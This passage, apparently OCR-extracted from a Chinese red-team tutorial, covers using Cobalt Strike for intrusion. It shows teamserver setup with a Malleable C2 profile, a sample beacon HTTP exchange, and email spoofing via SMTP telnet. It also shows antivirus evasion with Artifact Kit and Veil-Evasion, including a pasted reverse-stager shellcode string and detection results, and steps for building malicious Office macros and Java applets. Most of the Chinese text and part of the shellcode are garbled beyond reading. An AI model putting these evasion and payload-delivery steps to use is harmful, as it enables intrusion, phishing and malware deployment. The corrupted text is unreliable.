spawnt. i swindir%\sysnative\rundl132.exe'. This is a *really* bad OPSEC cho

ceystore is missir Will not sign executables and DLLs

[OPSEC] .https-certificate options are missing [will use built-in SSL cert]

++++tt+tttt Attt

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[%]
[
[

[+] PoST 3x check passed
[+] .http-get.server.output size is good
Program .http-get.client size check failed.
am .http-get.client must have a compiled size less than 2 bytes. Current size is: 254
t.client e is good
.http-get.client.metadata transform+mangle+recover passed (1 byte[s])
.http-get.client header oki i @ bytes [should be
.http-get.client.metada a a e+recover passed
.http-get.client header 'Cookie’ bytes [should be
.http-get.client.metadata transform+ma e+recover passed




.http-get.client.metadata tr form+mangle+re
.http-get.server.output transform+mangle+rec

.server.output trans a ' passed (1 byte[s])
.http-get.server.output trans g ’ byte[s])
http-get rver.output transform+mangle+reco

.client.id transform+mangle+recover pa

.client.o transform+mangle+recover passed (@ mte[;]]

.client.o transform+mangle+recover passed (1 byte[s])

.client.o POSTs results

.client.o transform+mangle+recover pass byte[s])
.http-post.client.o transform+mangle+recover pass 6 byte[s])
Beacon profile ;pecule; an HTTP mnkle header Will tell winINet to allow this.

] is available to anyone that connects to your server to request it. Are you OK with this?

post-ex.spawnto_» is indirs\: ativ xe'. This is a *really* bad OPSEC
ner.keystore i ing. : X 1 dl'\lj DLL;
.https-certificate optio

teamserver

i
N
Y

./teamserver [teamserver_ip] [teamserver_password] [profile]

> ./teamserver 192.168.12.2 password ./Malleable-C2-Profiles/APT/havex.profile

[*] Will use existing X509 certificate and keystore (for SSL)

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

[+] I see you're into threat replication. ./Malleable-C2-Profiles/APT/havex.profile loade
d.

[+] Team server is up on 50050

XEIEB havex.profile EEEXH, ZECEXHEXT cookie #1777 base64 w13,

FF S cobalt strike f§, {EFX#L%, @3 wireshark HEB] DAL I EIE S HHSLIF S X EE4HE

GET YwpB8/wp-includes/dtcla.php| HTTP/1.1

Accept: text/xml,application/xml,application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, image/png, */*;q=0.5
Referer: http://www.google.com

Accept Language : en us, en;q=8.5

FPUTNGQssdM1gKCHMCFLMGUSi5BsiWsAWAFiSR2VERXs1TGKCig7CTyBXZTXKh j4zmCE5wyBK/

User- Agent Mozilla/5.0 (Windows; U; MSIE 7.8; bﬂndaws NT 5.2) Javas1.5.0_€8
Host: 192.168.68.129

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Fri, 18 Sep 2020 88:24:38 GMT
Server: Apache/2.2.26 (Unix)
X-Powered-By: PHP/5.3.28
Cache-Control: no-cache
Content-Type: text/html
Keep-Alive: timeout=3, max=160
Content-Length: 15@

<html><head><mega http-equiv="CACHE-CONTROL' content='NO-CACHE'=></head><body=Sorry, no data corresponding your request.c!——></D0dy></html>



*x7F Malleable C2 XHHIMER, XBEREZARMICHEK T L, BTHEEZXT Malleable C2 X
HHRATHETEEZINSE, TUS2E A-TEAM HFRARY CS 4.0 BFF,

Cobalt Strike AR ATIEERFERINTE, ALMEERNREFIRNEREM—LL5HE
BT fE,

1. DKIM. SPF #1 DMARC

SPF. DKIM. DMARC £ 24 FZEENRBINIRE B NA S, AR —TKEE, &
RIEPEMENI R, MBEEER SRR H B XA GINE, HERIEDREEIXLEH

(R3NP
IR X LR AN R, FEIFIEFUIER T @I SMTP &RiEmR4.

SMTP

RiE—HEHREREARE TEXTEF, XEB QQ #RFEHH,

> telnet smtp.qq.com 25

HELO teamssix

auth login

base644wi3/EHIHRFE 2
base644wi3 /5 HIEANES

MAIL FROM: <evil_teamssix@qq.com>
RCPT TO: <target_teamssix@qq.com>
DATA

HIFE AN

QUIT

BHIE SR AR



DKIM

DKIM DomainKeys Identified Mail 1R Z35AIRAIMRE, DKIM Z—FBA5E B FHR4ERTVEAVIGTE
R, BiEE B INZIAIERY 5 XS EB (4 & 0518 2 i 1T I .

MR HIZ K H ISR ARY, =81 DNS EiR1ISAHH, JIEmR4 DKIM FR2A9ENE, MR
HR {4 S E LY
SPF

SPF Sender Policy Framework &IZATRESHEZS, SPF FERRMILEEMEEGHA. EME
MBIRE— SPF %, SPF icELfFLFZE DNS 89 TXT ig%.

INRERHARSSZFULEI—EIK B IP T SPF ICR BN SRS E RS A BIIRARM 4,

AT UMER U T as < EE BRI SPF IR,

dig +short TXT target.com

> dig +short TXT qgq.com
"v=spfl include:spf.mail.qq.com -all"

FERM  include:spf.mail.qq.com FRRGIN spf.mail.qq.com FHB TH SPF iCE.

> dig +short TXT spf-a.mail.qq.com
"v=spfl ip4:203.205.251.0/24 ip4:103.7.29.0/24 ip4:59.36.129.0/24 ip4:113.108.23.0/24 ip
4:113.108.11.0/24 ip4:119.147.193.0/24 ip4:119.147.194.0/24 ip4:59.78.209.0/24 ip4:113.9



6.223.0/24 ip4:183.3.226.0/24 ip4:183.3.255.0/24 1p4:59.36.132.0/24 -all"

FTEIRY ip4:203.205.251.0/24 1p4:103.7.29.0/24 TRAADFXNTERM IP & EmBE,

DMARC

DMARC Domain-based Message Authentication, Reporting & Conformance FE:TIERIEEIAILE,
REFM—EE,

ERFNE-—HEFHHESKEMFERNAEE, DMARC #EiZ7E SPF 1 DKIM #hiX L, #
BARMT AN ENRS LEINEE, ZFANNESRRZHNEIERIRE,

A MER TENGLESE Bint8 DMARC g%,

dig +short TXT _dmarc.target.com

> dig +short TXT _dmarc.qq.com
"v=DMARC1; p=none; rua=mailto:mailauth-reports@®qq.com"

thE —LEELMIGZHFHQN SPF, DKIM, DMARC HJiEs%, il
https://dmarcly.com/tools/

AT RXECREWRESERNERAISEXERNSEHIZ,
RIFH BN — LI E RN
. WNERESHE SPF ic%, WREBNAESRKIZE

2. 1M E+x DMARC 2% p T2 BN reject , ARBNATgESHIELE


https://dmarcly.com/tools/

3. BWRPERAAY URL b, AE(FEA IP tthit, ERIEEATTER URL it

4. BREROBHERANEEMY E—LERTIIT UM, EEU0 exe ASTNRIXMH, RN—LHHETIRSEZFIER
FEXE A AT A BR

2, RERMG

X—TRREEREREHERNEE, ERNCHRTEESAT, RESNE-—TERNRR
k.

EHRSRENENMERNENFSHRIRFE, MEANKEENZTENREXEHITRR
2038, MIMERSRENNBNNOXEZSEXH

RIRZE AR

1. RERGAEERXMRRNESERET, SNAFNERRFAIEMZZERN, [N
MEXNRBRUATNFZE. OEFELIN,

2. RERMAAEORAAZNAARER, SNAFUEZERHBRSNRM.

3. REUREURMN—THRAMEZRZEN RSN TEX G EX AR EANEEN T ZUEXT
XARSERS, MEREXMER TTREXHEEERE.

el TAF

—

. EAZHAREBRHERTZE—TEANRSHERRIEE, BRI GIFIRS RS
BEIEEHITESS, MR -FBNIRRZXHERE.

k)

2. ERN—ERERGBEEZRIAFN—ERIZRITH, MERSREXNXMAIZTANAES



FEEBRARIINR, RAMRIRR, ERBIERAEXNHFRIZZER™EN,

—ERBRASEVRRERRETIRXY, REREZIRGTHFIEIES R

oo

PUIEEIR7 b
SRBHI R FERTMRASRE, AEECERMIRESTETE,

H)RAIA{fERA Cobalt Strike BY Artifact Kit AAFIERARAIMITXHE ., Artifact Kit 2— P HI1E
%3k EXE. DLL ] Service EXE RUJRILABHEZR, 7£ Cobalt Strike B9 Help --> Arsenal &bA]
& Artifact Kit,

Artifact Kit B9 T{E[RIBAMAT :

1. BREXMHITREELE, ERERPKEAENTRXMMASREX M. ZMEEFM
Wb AR LE 1 A fa) BR o 4 R R R SRR BB A CRB R R B R

2. WREBXHHIT LR, PAGT VRN, tEal Artifact Kit FRAY src-
common/bypass—pipe.c REKEIHITXHH DLL, Efl@ImBEENE SR
shellcode, MNRFFATVENEERIGEEE, ERETESHMAEE shellcode,

Artifact Kit BB L B AT :

1. T# Artifact Kit

2. MRFENIEMENR / RIBHREXH
3. M

4. 1R Artifact Kit ANERIZ



Artifact Kit

BAREERETRRGIBBR, XEXRMA virustotal FATHM, KU 42 514N

2,

@ 42 engines detected this file

beacon.exe

&4 bits assembly peesxe
W Community o
Score

ETEMINI Artifact Kit H#TRARBR, BRENAINEEN FEIF— T 1EMR.
LR Github LA LET, IMEME: https://github.com/Cliov/Arsenal
XE{EMA Artifact Kit B89 dist-peek FiE#HTMI .

3% Cobalt Strike FFJFF Cobalt Strike -> Script Manager , Load J0Ek

/Arsenal/artifact/dist-peek/artifact.cna Tﬁ{’ff—, ZEE Attacks -> Packages -> Windows
Evecii+ahl a l:h/—-t H\77|<E.V4’:l:


https://www.virustotal.com/
https://github.com/Cliov/Arsenal
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£/ VT 12l/2IXE 8 T3IZMRNE, RBEHRRIFEET,

\

8 \ @ 8 engines detected this file

artifact_peek.exe
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&4bits assembly checks-netwc
w0 Community o
Soore

ESTRURNRSEEALEIRHE, TNATLOIENEBEMNESR. X4, B 360 XE£I1+ . 360

REMMT.

WEIMGE, ETRHTLRTHMR 360 7~ m, ETEMEN TBEFELE,

= A E ® x =

Jreaeans AEEFR TEEke =R - = BHER BEER AxRAT 1 AMSAMER |
HREATHANKIHARE | BRE 360RHENRL RE=RRE.
HigTesk | 1N EAMBENEIRIT e — g e | | mEmps |
TR : 00:00:10  HESEM : SEMITE AR 14 - ¥ SRR (1) ~
(vl CAU: ini I [EAEEE] HEUR/QUM202.0.281E Mal... HHE B
O EHW1AERRE SEAE
(] HEUR/QVM202.0.281E. Malware.Gen .
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Veil Evasion

Ltbgh, eI A{ER Veil Evasion #E228, Veil Evasion BILEh E LGB, Veil-Evasion 7E

Kali 2020 DARIZ BRI, 1B Kali 2020 FE2EEMIILEAN, £ Kali Fr]AEEFER apt-
get #HITHLE

git config --global http.proxy 'socks5://127.0.0.1:1080'
git config --global https.proxy 'socks5://127.0.0.1:1080'

apt-get install veil-evasion
veil

HMWRATUER veil-evasion INE RN ABFHITRE, IEHIL:
https://github.com/VeiI—Framework/Veil—Evasion

BT Veil Evasion B 200 £ M, FEIEINE EREHITTIHLE,

ZRZTMZE, 1 Cobalt Strike BBAY Attacks -> Packages -> Payload Generator HAi%#E Veil
mEBA R — payload.txt X4

Hgttacks Beporting Help

Packages HTML Application
Web Drive-by + | ms Office Macra
Spear Phish

Payload Generator

This dialog generates a payload to stage a Cobalt

Tdptlerm et o g | ot g 1 ol o= o i o g 1] o b | o

VAN A e Eveme 1o bl oy


https://github.com/Veil-Framework/Veil-Evasion
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Windows Executable (S
Listener: [http \

output: | [veil | - \

x64: [#] Use x64 payload

[ Generate H Help ]

MEfE3E Kali T, %A veil BE, ¥ use Evasion {FH Evasion TH, 1list BEE 3R
AR Payload

XEBERZE 17 TED  go/shellcode_inject/virtual.py Payload fEATRHI, BN go. ¢ FmiF
MIESIBSEXNTF python FRIARES RIFERBURRIFL,

ZIGHIN generate , 1EFEZE=IN Custom shellcode string , FAMENIZE LAY payload.txt XA
RS, MAZLERD exe X4, BIATER—TRAKRSG,

generate

3

#5805 payload.txt AR
bypass_go #A RS RI B TR



[go/shellcode_inject/virtual>>]: generate

[?] Generate or supply custom shellcc

1 - Ordnance (default)
2 - MSFVenom
Custom shellcode string
- File with shellcode (\x41\x42..)
5 - Binary file with shellcode

[>] Please enter the number of your choice:| 3

[>] Please enter custom shellcode (one line, no quotes, \x00.. format): \xfc\x&§
8\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0F\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac
1\xd@\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xcO\x74\x67
d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xcO\x0d\x41\x01\xc1\x38\xed\x75\xf1\x4c\x@3\x4c
O\x41\x8b\x04\xB8\x48\x01\xdD\ x4 1\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a
O\ x6e\x69\x6e \x65\X7 4 \x00\x41\x56\x49\x89\xeb \x4c\xB8I\xT1\x41\xba\x4c\x77\x26\x07
bA\Ax73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00 \x00 \x4d \x31\xc9\x41\x51\x41\x51\x6a\x03
B\ XxD0\x02\x40\xB4\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3
8\X7b\xff\xd5\x85\xcO\x0Ff \x85\x9d\x01\x00\x00\x48\xf FA\xcf\x0f\xB4\xBc\x01\x00\x00
7A\xcd\x25\x6d\xcb\xe7\x8e\x8f\xad\xd3\x0f\xbb\xf8\x0d\x&4c\x3e\xfb\x3e\x68\xba\xc3
L\ x0e\x97\x39\x53\x3d\xab\x8c\x09\x2d\x54\x64\xa9\xa3\x75\x44\x64\x73\x00\x55\x73
O\x61\xT74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69
B\x49\x6e \x66 \x6F\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x5a\xf5\x43\x3a\xdb\x33
d\xbd\x90\x61\x67\xdc\xbb\xac\x15\xca‘\xde\x68\xe3\x30\x7b\x5e\x5e\x48\x11\xb8\x2c
a\x51\x22\xd6\x22\xT5\xdb\xe9\x26 \xf7\xf1\x23\xc4\x5b\x23\x%a\xae\x7a\x0e\xeb\xc5
AV GUAVEEAVGEAVGEAVE AV EEAV ETASV CREAV O AV VARV CIAV CIAVS AV EEAVEPAVE AV C LAV (I AV GIEAY (V]
1\xd2\xf7\xfe\x4b\xb1\xdb\x1b\x6f\x01\x7d\xc9\x5a\x6e\xac\xc8\x58\x84\x88\x78\x01
FAxd5\x48\x31\xc9\xba\x00\x00\ x40\ x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x 00\ x00)
0\x00\x49\xB9\xfI\x41\xba\x12\x96\x89\xe2 \xff\xd5\x48\x83\xc4\x20\x85\xcD\x74\xh6
1\x39\x32\x2e\x31\x36\x38\x2e\x36\x38\x2e\x31\x32\x39\x00\x12\x34\x56\x78

Veil-Evasion




[Web]: https://wwmw.veil-framework.com/ | [Twitter]: @VeilFramework

[>] Please enter the base name for output files (default is payload):|bypass_go
runtime/internal/sys
runtime/internal/atomic
runtime
errors
sync/atomic
internal/race
math
internal/syscall/windows/sysdll

{$F virustotal &R T — 4K bypass_go.exe, A 40 N5|Z@ME], FERWRIXLR
R—A%.
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bypass_go.exe

=

pesxe

SSMA LA 360 22 DE. 360 RE, EBHEMER. XHNT.

BE VT NERE, BEMNAMNRREREREDNEINE, J=RERI,

TR WEE) BRO) TEV) #EH)

Se0RERAHAS

REENRA: 2020-09-24 12:27
%3?51\5: 2020-09-25 23:46:42

¢4 B O x =

AL TEEkE =8 OEI= TEER

9 g

1Azt , AT D o (7 © B B
RS EEREN. SEER AERERAEOENES E2:l e o = I}ﬁ
HiERig: 1

it 00:00:02
PP

EHIEI



pETE: 0
=
4 e Z ]
——
. - - sEsEs
® 8 T= -X| ) uREe eEER
HETRLINE 1 , EIGZEIRNE
9 1 NG EEN - '
@ &I 1 XIS SRR | e ]
RUSTRE
M usm SIS CAUsers\A \D: y ypass_go.exe
A amEm 0 mEp Backdoor/GO Meterpreter.a
A e 7 Win32TrojanGeneric e

@ sms=

=l 1mm

o swemm

AR
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(1) 10 engines detected this file
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Emm, X528 1 X 4K 360 AL 360 ST .
BIMERR—T, MERNAENRR, XARXEERTEN, REEMRSRELB 4
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#h7E
HITTERN—LERER:
. BRFAIT RS NEREXH

2. AIRABTRRTRSMY, NHEXHRY hash EEEITE
3. BEIEX XA RX M, MAZERXH
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Java Applet

BT R—#E5kEE Cobalt Strike Java Applet i, 7E Cobalt Strike FRIBHRRE T AT
i Java Applet &8 Applet TR,

EF Applet TR ENT:

1. F Help -> Arsenal

2. MRFERNEMEN / BBREXH
3. ERANBERIERHITES

4. 15



5. {#F Applet Kit JnEHIZ

RRFE 2014 £ 7 B, FIABAGENERERLEREL, &/LFH], XR—MBRERFEHL
AT

3. MAHRH

IR EENAE, —THRBENZESERATE CETHNNAREFBRREMARFHAE
7. YTHEENZERBRBNAEFFEREIAFPRNGEREITRE, Java Applet I
R XY,

—MRENAERERBANGFHITRE., Java Applet, Office 2. CS T PowerShell a5
TTER B XA AT

—ERZRRRNER:
https://twitter.com/subTee

https://github.com/khrOx40sh/WhiteListEvasion

HBEHRIE
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4. INh

7£ Cobalt Strike ZF i £, % Packages --> MS Office Macro , IBE—TMAITES, =i
Generate , Z[ERIERTNTEBEER—T Word X44,

¥ Cobalt Strike

-

external

MS Office Macro | BB 5 Office Macro ] m] % | I8 Macro Instructions @ O b |

Payload Generator 1

-

This package generates a VBA macro that you
may embed into a Microsoft Word or Excel -

Windows Executable (S) — IhHD ] B

Generate Help 2

Follow these steps to add this Macro to a Micrasoft Word or Excel document:
BypassAY

Windows Executable
Open Microsoft Word or Excel

Go to View -» Macros -> View Macros
. Change Macros in to the current file
Give your macro a name (any name is OK) 3
Click Create
Clear the editor
. Press Copy Macro to copy the macro to your clipboard
. Paste the macro
Close the macro editor window
. Save the document as a macro-enabled document

Copy Macro

H name = payload host | |

L
O W m -~ ;&R =

‘ EventLog X | Listeners X‘ Sites X‘

AR :

1. ¥TFF Microsoft Word & Excel

2. F3 wmE --> %

3. EREE—TRRIBIR

N oA S EE N 432 M M e oy
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5 Rl

EIE @ E BRE = oo

wEEL 2HEF Hin

\ 2} FsiEm -
mEgEOaE | -
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_ii,
3—

IE1T (R)
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e o0

EEEE (W I IR

THAR (1)




6. I ANRERRF, HFRERERRNOAS
7. =i Cobalt Strike EHY Copy Macro %%

8. 1ENIEH| Cobalt Strike ZERHINE ENEEIFT T RIZRIE 23

Microsoft Vi
P £50 UEY BA0 B0 #HD E6R 150 SMERFR) BOW EsHH

WE-d L aBmA 9 o1 om e WEY . @ 518,526
| 132 - Project x|
e B :
@-%8 Formal GEm) - GEED

|| 588 Project CZE1)
[:I Microsoft Word #18

Frivate Type FEOCEZZ_THFOEMATION

: KProcess s Long

-9 R hlhread As Long

i by NewMacros dwProcess Td i= Long

B0 2@ Threadld Az Long
End Type

Priwate Type STARTUFIRFO

b As Long
lpReserved As String
lplesktop As String
1pTitle &s String
dwk As Long
dwY ks Long
dwkSize As Long
dw¥Size As Long
dwXConntChars Az Long
dwICountChars As Long

BtE - NewMacros x|
HewMacros R -
BF=ER

Eﬁm Hewlacros

dwFillattribute Az Long
dwFlags As Long
wShowlindow Az Integer
chReserved? As Integer
1lpReserved? Az Long
hStdInput As Leng
hStdiutput A= Long
hStdError A= Long

9. XF4miE=R

10, BXHEREFABRZRNXE, ZEAMNERFRTFN BRAEG Word

X5

wis BE  Word 97-2003




= BF
o
& B5

-

IHE(N): Docl.docm

RERT): | A Word 30 (.docm)
ez, Word 378 (*.docx]
BHREM Word 28 (*.docm
Weord 97-2003 =48 (*.dod)
Word 8iF (*.dotx)

BHERMN Word #1E (~.dotm)

- . Word 97-2003 £ (*.dot)
e

EIRERNBMHESFIAHINLEREEN, STzt EEREATE L4,

iR = =K
| =2BE =CHEZEA. ‘ BRRE ‘
external internal ~
¥ 192.168.68.1 192.168.68.1

- -

EventlLog X | Weblog X

10/16 10:09%:26 wvisit from: 192.168.68.1
Request: GET /M6sf/

beacon beacon stager xB86

Mozilla/5.0 (compatible; MSIE 10.0; Windows



XENSAILE—

LM 2-8 $EEIERIEBLEANASHIT J7z, WA AFTH FLIE --> Visual Basic 5L,

FERRER attr11 FTFHZARE,

ZEYR4E ThisDocument 1RIR, FhLZAEMASHAIBAX

4], Microsoft Office HYZRFaZ %L

BRI

B

2l ER 2-8 HHIMR.

A

8 Microsoft Visual Basic for .—-|;_||;_||II ations

W E-H % Ca@Rdal9

= =2 &

;ﬁ Normal

% N i =

CXHE S50 #EM BA) B0 B0 SR IED SHEEFR)
™ | )

SIH

_—__'—.r_

n o EEFY @I

[Gam)

E| ;ﬁ l"rn_] ect {Eﬁl}

Dim sHull Az String
DIim sProc hs String

#If VBAT Then 4

Dim rwxpage Az LongPtr, resz Az LongPtr
#El=e

Dim rwxpage Az Long res Az Long
#End If

B 4 B 19 BHA% Cobalt Strike 88—

TEILHR, B

WATHFFRINE, BRI T I, 2



R T FoEXHIIL,

& Cobalt Strike FIfEZE Raphael Mudge AVIRTE, A UP Hack %317 BRI STENIERR
A, RS A-Team HIBARY Cobalt Strike 4.0 FXENEFM, RSEBREICRESEHENESE
1, RISELEENIARRATREEI QAR AR, BRI,

&a, TE—REBEIENME, ¥z RIIRZHTAEFS] Cobalt Strike B2 T
HIZEiC, BXAELMHIEE, RAEFREAGELMENIRRMBERAEZINRREZER
ICRAY.

FEHCHZLATRERNBENE - —2ETHCETHRENERK, JtWE 17 FHELXT
ARESNEZBN; —ZHEZCTRFICER—ERNBRTSE, NRIRMMEIFNB—HFRYEM, 5

YAWIN

WHXNREBNZICHEERBNEIR.

SEhkR:

https://xz.aliyun.com/t/3975
https://payloads.online/tools/socat
https://zhuanlan.zhihu.com/p/93718885
https://www.anquanke.com/post/id/156299
https://www.bilibili.com/video/BV16b411i7n5
https://www.freebuf.com/sectool/173366.html
https://my.oschina.net/u/4300698/blog/3382230
https://segmentfault.com/a/1190000019290085
https://www.cnblogs.com/cthon/p/9151467.html
https://www.secpulse.com/archives/127186.html
https://www.freebuf.com/articles/web/231892.html
https://klionsec.github.io/2017/09/23/cobalt-strike/
https://www.renfei.org/blog/introduction-to-spf.html
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https://xz.aliyun.com/t/3975
https://payloads.online/tools/socat
https://zhuanlan.zhihu.com/p/93718885
https://www.anquanke.com/post/id/156299
https://www.bilibili.com/video/BV16b411i7n5
https://www.freebuf.com/sectool/173366.html
https://my.oschina.net/u/4300698/blog/3382230
https://segmentfault.com/a/1190000019290085
https://www.cnblogs.com/cthon/p/9151467.html
https://www.secpulse.com/archives/127186.html
https://www.freebuf.com/articles/web/231892.html
https://klionsec.github.io/2017/09/23/cobalt-strike/
https://www.renfei.org/blog/introduction-to-spf.html
https://www.cnblogs.com/backlion/p/10616308.html

HILLMO/ 7 VVVVAVVL.UHTIVIV O LU VAUNTUNE V7 TVUVITUOVOUV O TR
https://blog.csdn.net/hnjztyx/article/details/52910478
http://blog.leanote.com/post/snowming/62ec1132a2¢9
https://blog.csdn.net/pipisorry/article/details/52269785
https://blog.csdn.net/11028386804/article/details/86675559
https://www.freebuf.com/company-information/167460.html
https://blog.csdn.net/qq_34101364/article/details/108062913
https://blog.csdn.net/github_35186068/article/details/80518681
https://pythonpig.github.io/2018/01/17/Cobaltstrike-SMB-beacon/
https://www.varonis.com/blog/kerberos—how-to-stop—golden-tickets/
https://lunamoore.github.io/2020/08/18/veil-

evasion%E5%AE%89%E8%A3%85/

https://blog.cobaltstrike.com/2014/09/09/infrastructure—for—-ongoing—red-
team-operations/

https://wooyun.js.org/drops/Powershell%20%E6%8F%90%E6%9D%83%E6 %A1
%86%E6%9E%B6—-Powerup.html

https://docs.microsoft.com/zh-cn/windows-server/identity/ad—-ds/get-
started/virtual-dc/active—directory—domain—services—overview

https://blog.ateam.qgianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%EG
%89%8B%E5%86%8C_%E4%B8%AD%EG6%96%87%E7%BF%BB%E8%AF%91.
pdf
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https://www.cnblogs.com/backlion/p/10616308.html
https://blog.csdn.net/hnjztyx/article/details/52910478
http://blog.leanote.com/post/snowming/62ec1132a2c9
https://blog.csdn.net/pipisorry/article/details/52269785
https://blog.csdn.net/l1028386804/article/details/86675559
https://www.freebuf.com/company-information/167460.html
https://blog.csdn.net/qq_34101364/article/details/108062913
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